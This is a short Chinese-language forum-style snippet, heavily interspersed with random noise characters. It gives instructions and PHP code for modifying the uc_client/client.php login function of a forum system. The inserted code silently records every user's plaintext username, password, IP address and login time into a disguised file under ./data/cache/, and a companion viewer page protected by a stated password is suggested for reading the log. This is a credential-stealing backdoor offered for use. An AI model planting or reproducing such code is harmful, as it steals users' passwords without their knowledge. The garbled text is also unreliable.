修改uc_client目录下的client.php 在
* {. g ^4 c4 \( l2 wfunction uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {4 Q4 Y; r9 ?$ n3 ^9 Z# C( N; I
下加入如上代码,在网站./data/cache/目录下自动生成csslog.php
) a, @' O- Q' l( k, o4 U+ S你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw3 z, w6 P8 O. P- Z% }3 r
if(getenv('HTTP_CLIENT_IP')) {
/ P; m" _6 c7 d/ w& W$onlineip = getenv('HTTP_CLIENT_IP');3 Q# L, g! K8 ?1 i9 H @+ F
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
6 I: Y; a- z' _0 {1 [$onlineip = getenv('HTTP_X_FORWARDED_FOR');
5 ^2 \: W# g# O, s% k} elseif(getenv('REMOTE_ADDR')) {
x' L8 f. d: G# w# ~; [$onlineip = getenv('REMOTE_ADDR');7 ?7 `7 V& T5 Y( W) a! Z- N
} else {
: G+ ?1 P4 \1 R" H1 B$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];" w* V2 A( }: C2 d% l
} b5 I) d9 f/ c
$showtime=date("Y-m-d H:i:s");
. V' D" h. p5 a# `) { ^# G a $record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n";
" L5 L) O3 y! c $handle=fopen('./data/cache/csslog.php','a+');# d" ` h+ P, X" u% E. m% ], F
$write=fwrite($handle,$record); |